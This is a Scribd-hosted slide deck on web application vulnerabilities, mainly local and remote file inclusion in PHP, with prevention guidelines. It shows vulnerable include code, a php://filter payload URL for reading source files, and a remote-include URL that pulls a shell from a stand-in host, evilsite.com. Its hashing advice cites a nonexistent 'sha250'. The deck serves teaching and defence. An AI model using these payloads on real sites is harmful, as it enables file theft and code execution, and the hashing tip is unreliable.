Scribd
Upload
35 views18 pages

Web Vuln 02

Uploaded by

sotyasamsudin08
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPT, PDF, TXT or read online on Scribd
35 views18 pages

Web Vuln 02

Uploaded by

sotyasamsudin08
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPT, PDF, TXT or read online on Scribd
You are on page 1/ 18

Vulnerabilities in web

applications and their


prevention

Serhii Hamotskyi, NTUU “KPI”


[email protected]
@pchr8
Why it’s important
• Protecting a website well always costs less
than dealing with a breach or data leak.

• Consequences may include loss of reputation,


clients, financial sanctions, identity theft
Examples from the past few years
• Sony PlayStation Network – $171 million
• Citygroup – $2.7 million
• Stratfor – a global intelligence company –
200gb data leak, including highly confidential
emails and credit card data
• Adobe Systems revealed that their corporate
database was hacked and some 130 million
user records were stolen (October 2013).
Web app vulnerabilities
Most common:
• RFI/LFI – Remote/Local File inclusion (aka PHP-
injection).
• XSS – Cross Site Scripting
• SQLi – SQL injection
Less known (but dangerous nonetheless):
• XSRF/CSRF – Cross Site Request Forgery
• Weak authorization
• A lot more
Attack vectors not limited to web
apps
• DOS (Denial of Service) – an attack which
makes the system unavailable to its intended
users. Can be caused either by too many
requests or errors in the design of the
application
• Social engineering – using influence
psychology, manipulation, cheating to get the
information needed.
LFI – Local File Inclusion
• Pages with code similar to <?php $page =
$_GET[‘page’]; include($page); ?>
• The filename is received from the address:

http://shmt.anapnea.net/lfitest/index.php?page=about.php

• Cleaner code, makes the website easier to


maintain.
LFI - Local File Inclusion
• Dangerous if the filename is not checked

• In the worst case scenario, any file from the website or even
server can be read (depends on the OS and webserver
config).

• Often LFI is used to read confidential/password files, config


files, log files, files from other websites hosted on the same
server, the source code of .PHP files

• Sometimes gives the ability to execute code on the server


(log poisoning)
LFI
• Include() includes a file in the code. If it's plaintext outputs
it, if it's PHP-code – executes it and outputs the results

• The source of .PHP files can still be read via PHP-filters:

http://shmt.anapnea.net/lfitest/index.php?page=php://filter/
convert.base64-encode/resource=passwords.php

(outputs the Base64-encoded source of passwords.php)


RFI– Remote file inclusion
• Same code as with LFI
• External files can be included – usually
containing PHP code that will be executed by
include();

http://shmt.anapnea.net/lfitest/index.php?
page=http://evilsite.com/shell.txt

• Usually
used to include shells – programs
made to make further attacking easier
Protecting from LFI
• Don't receive the parameters dinamically.
• If it's impossible, hard-code the possible
values:
<?php $file=$_GET['page'];
$check = array('index.php', 'new.php', 'guestbook.php');
if(in_array($file, $check)) {
include($file);} else {include('index.php');} ?>

• Check for invalid symbols or sanitize the


parameters. If the latter – do it recursively.
(Removing ../ once can be bypassed as ....//,
for example.)
General guidelines
• All data sent by the browser can be changed,
cookies included, and shouldn't be trusted.
Any client-side verification is uneffective
because of this.
• Check ALL data received from the user. All
data is dangerous until proven otherwise.
• Trust no one, even yourself: attacks like
CRSF\XSRF and Clickjacking exploit the
application's trust to request which appear
initiated by itself.
General guidelines
• Keep all libraries and programs updated.
• Set up Google alerts on vulnerabilities and
exploits for the software/libraries you use
• Protect the system from all sides – there's no
point in having a metal door, expensive lock
and open windows. Don't give too much
information, remember about no tech
hacking, social engineering etc.
General guidelines
• Design a good auth system.
• Hash the passwords. There are a lot of sites that keep
md5 tables, but md5(sha250($pass.$salt)) will have to
be bruteforced.
• Don't leave default accounts
• Use nontrivial passwords (not 123456, 8520456, asdfgh,
qwerty, zxcvb etc), and different passwords everywhere.
• Know what is indexed by Google; don’t explicitly disallow
confidential folders in robots.txt
• Don’t use easily guessable URI’s for admin panels:
/admin/; /admin.php etc;
• Test you webapp with a vuln scanner, for example Nikto
Thank you for your attention

Any questions?

You might also like